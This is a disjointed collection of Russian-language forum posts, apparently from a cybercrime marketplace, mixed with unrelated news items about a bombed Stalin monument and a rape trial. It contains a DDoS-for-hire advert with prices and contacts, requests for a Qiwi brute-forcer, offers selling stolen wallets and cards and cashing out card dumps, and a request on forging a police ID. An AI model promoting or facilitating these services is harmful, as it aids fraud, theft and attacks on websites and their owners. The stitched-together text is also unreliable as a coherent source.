« DDOS STRESS»(support) Правила сервиса: -Не участвуем в схемах шантажа. -Можем отказаться в принятии заказа. Почему выбирают нас : Работаем приватным софтом; Большой опыт работы; Положим сайты с антиддосом; Индивидуальный подход к клиенту; Анонимность; Часто в сети; Мониторинг объекта; Цены (Минимальные) : 1 час– от 10$ 24 часа– от 100$ неделя – от 600$ месяц – от 1600$ WebMoney, Perfect Money, Яндекс.Деньги, и другие системы . Контакты: 677227026 (online)

срочно нужен brut для киви,подскажите где купить приватный.Брут -чекер должен быть!

хахаха, красавчик

Актуально .

Отдам Киви кошельки + карта Кукуруза по 1000р от 20 шт.

обналичу дампы 101,(USA.EUR) без пин и с пин тоже,предлогаю хорошие условия!!!!предоплата не интересует,если есть реальные свежие базы то давай работать,налю быстро и качественно!!!!!

А хотелось бы знать для начала, какой суммой вы располагаете. Возможно, вам даже вообще никуда вкладыватьне стоит.

http://disk.alib.ru - сайт где торгуют грампластинками.

Согласен с Expert, ерундой вы занимаетесь. Я уже 10 работаю и ничего кроме декларации раз в квартал не делаю. Никто меня не посадил и не оштрафовал. Что они дураки там чтоли. Им проще одного Ходарковского посадить чем 1000 Ивановых.

барклайс отлично идет

основная причина это мы...задрочили палку в гавно и давно уже((

Expert, у какой программы есть такая функция?

СНГ это от Казахстана до Белоруссии

$everwen, пробив, как уже сказали, реален в 2х случаях: 1) если есть знакомые в мусарне, или 2) свой человек в КОНКРЕТНОМ провайдере. Я делал один раз через кента, который имел давнего хорошего знакомого-мента. Естессно, не ППСника)) Все получил, правда не так оперативно, как хотелось.

На много не развести по инету))Ну что скайп, ну что там эти 100-500 долларов, думаю слишком большой объем "приятной" работы. Реально на пидарах в реале поднимаются, по ТВ даже посмотрите сплошь и рядом в очко долбятся за бабки, и ездят сука на бентлях и в солярий ходют...и не скрывают. З.Ы. - и талонов на молоко за такую вредную работу не дают!!!))))

Подскажите, как можно изготовить обычную ксиву МВД ?

У кого есть подвязы в банке,ЕСТЬ ТЕМА!

ДАННАЯ ТЕМА ЗАПРЕЩЕНА НА ФОРУМЕ! ТЕМУ ЗАКРЫВАЮ, ТОПИКСТАРТЕРУ ВЫНОШУ ПРЕДУПРЕЖДЕНИЕ.

поделись)

Отличная статья и очень полезная!!

привет!меня зовут девочка duffy!мне 15 лет!и я никогда не употребляла наркотики,и никогда не пробывала!и вам того же желаю,всего вам хорошего!я не знаю,зачем я это пишу,меня попросил мой мальчик! вот. - Это что за кислота ??? :mrgreen: :mrgreen:

Хороший фильм, спору нет. Смотришь, как в измененном состоянии

Украинским националистам удалось окончательно уничтожить памятник Иосифу Сталину в Запорожье, несмотря на обещание коммунистов усилить охрану монумента после того, как несколько дней назад активисты «Тризуба» оторвали голову «вождя народов». Как сообщает пресс-служба управления МВД Украины в Запорожской области, 31 декабря в 22:45 в милицию поступило сообщение о том, что памятник Сталину был взорван. Установлено, что за несколько минут до взрыва к месту подошла группа мужчин. Один из них перелез через ограду и прицепил к памятнику сумку, в которой, очевидно, находилось взрывное устройство. По факту взрыва возбуждено уголовное дело, ведется поиск злоумышленников. Украинская националисическая партия «Свобода» сообщила о задержании 2 активистов по подозрению причастности к взрыву. 1 января украинские националисты отмечают день рождения Степана Бандеры. Напомним, что коммунисты также планируют установить памятник Сталину в Одессе. http://www.nr2.ru/kiev/315224.html

Перед судом предстанет 26-летний Александр Багаутдинов, обвиняемый в совершении разбоя и преступлений сексуального характера в отношении двух школьниц. Следственными органами Следственного комитета РФ по Санкт-Петербургу завершено расследование уголовного дела в отношении 26-летнего Александра Багаутдинова, инкассатора Санкт-Петербургского регионального управления инкассации, обвиняемого в совершении преступлений, предусмотренных п. «а» ч.3 ст.131, п. «а» ч.3 ст.132 ,ч.1 ст.162 УК РФ (изнасилование, насильственные действия сексуального характера, разбой). По версии следствия, Багаутдинов 1 января 2010 года около часа ночи в лесном массиве, расположенном в Красногвардейском районе напал на двух 14-летних школьниц, нанес им несколько ударов руками и ногами, после чего изнасиловал и совершил насильственные действия сексуального характера, а также похитил имущество потерпевших на общую сумму более 17 тыс. рублей, сообщает пресс-служба СКП РФ по Петербургу. Следствием собрана достаточная доказательственная база в связи с чем, уголовное дело после утверждения обвинительного заключения направлено в суд для рассмотрения по существу.